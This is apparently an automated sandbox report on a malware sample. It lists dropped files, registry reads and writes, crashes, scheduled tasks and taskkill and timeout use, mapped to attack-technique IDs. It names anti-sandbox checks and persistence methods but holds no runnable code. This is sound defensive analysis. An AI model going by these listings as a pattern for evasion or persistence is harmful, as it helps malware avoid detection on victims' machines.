File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID25B.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	Explorer.EXE
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\MSI9A7F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9B1D.tmp	msiexec.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process
4340	5084	WerFault.exe
3052	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
1196	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
3940	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
4160	3316	WerFault.exe	setup.exe
5132	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
5108	3316	WerFault.exe	setup.exe
5948	5256	WerFault.exe	6718173.exe
5160	3316	WerFault.exe	setup.exe
5300	3316	WerFault.exe	setup.exe
5524	3316	WerFault.exe	setup.exe
5700	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
5920	3316	WerFault.exe	setup.exe
5776	3352	WerFault.exe	Sun05fa3b4d2ae56e.exe
5660	2644	WerFault.exe	426984.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

ejsghbfSun05532f7abc.exeejsghbfejsghbf

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun05532f7abc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun05532f7abc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun05532f7abc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ejsghbf

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exesvchost.exeSun05ac1b0207d3ff3b8.execvtres.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Sun05ac1b0207d3ff3b8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Sun05ac1b0207d3ff3b8.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	cvtres.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cvtres.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

6744 schtasks.exe
5360 schtasks.exe
4600 schtasks.exe
6728 schtasks.exe
6380 schtasks.exe
Delays execution with timeout.exe 4 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exe

pid process

6380 timeout.exe
7860 timeout.exe
6636 timeout.exe
7108 timeout.exe
Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5872 taskkill.exe
6520 taskkill.exe
6824 taskkill.exe
7476 taskkill.exe
752 taskkill.exe

pid	process
6744	schtasks.exe
5360	schtasks.exe
4600	schtasks.exe
6728	schtasks.exe
6380	schtasks.exe

pid	process
6380	timeout.exe
7860	timeout.exe
6636	timeout.exe
7108	timeout.exe

pid	process
5872	taskkill.exe
6520	taskkill.exe
6824	taskkill.exe
7476	taskkill.exe
752	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

Processes:

OneDriveSetup.exebrowser_broker.exeMicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

svchost.exeLzmwAqmV.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	LzmwAqmV.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	LzmwAqmV.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\16\52C64B7E	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	LzmwAqmV.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	LzmwAqmV.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	LzmwAqmV.exe

Modifies registry class 64 IoCs

Processes:

FileSyncConfig.exeOneDriveSetup.exeExplorer.EXEMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe,0"	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{10C9242E-D604-49B5-99E4-BF87945EF86C}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusToastActivator.NucleusToastActivator\CurVer\ = "NucleusToastActivator.NucleusToastActivator.1"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\INSTANCE\INITPROPERTYBAG	FileSyncConfig.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	Explorer.EXE
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2B865677-AC3A-43BD-B9E7-BF6FCD3F0596}\TypeLib	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\mcafee.com\Total = "254"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{47E6DCAF-41F8-441C-BD0E-A50D5FE6C4D1}\ = "NucleusToastActivator Class"	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{6A821279-AB49-48F8-9A27-F6C59B4FF024}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{EE15BBBB-9E60-4C52-ABCB-7540FF3DF6B3}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{53de12aa-df96-413d-a25e-c75b6528abf2}\ = "IGetPauseStateCallback"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineCOMServer.SyncEngineCOMServer.1	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\ = "FileSyncCustomStatesProvider Class"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\BannerNotificationHandler.BannerNotificationHandler.1	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{2E7C0A19-0438-41E9-81E3-3AD3D64F55BA}\LOCALSERVER32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ = "PSFactoryBuffer"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging\CLSID\ = "{917E8742-AA3B-7318-FA12-10485FB322A2}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\SYNCENGINESTORAGEPROVIDERHANDLERPROXY.SYNCENGINESTORAGEPROVIDERHANDLERPROXY.1\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\TypeLib	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "0"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\SOFTWARE\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaV = "11.0"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5a95b8a401a8d701	MicrosoftEdge.exe
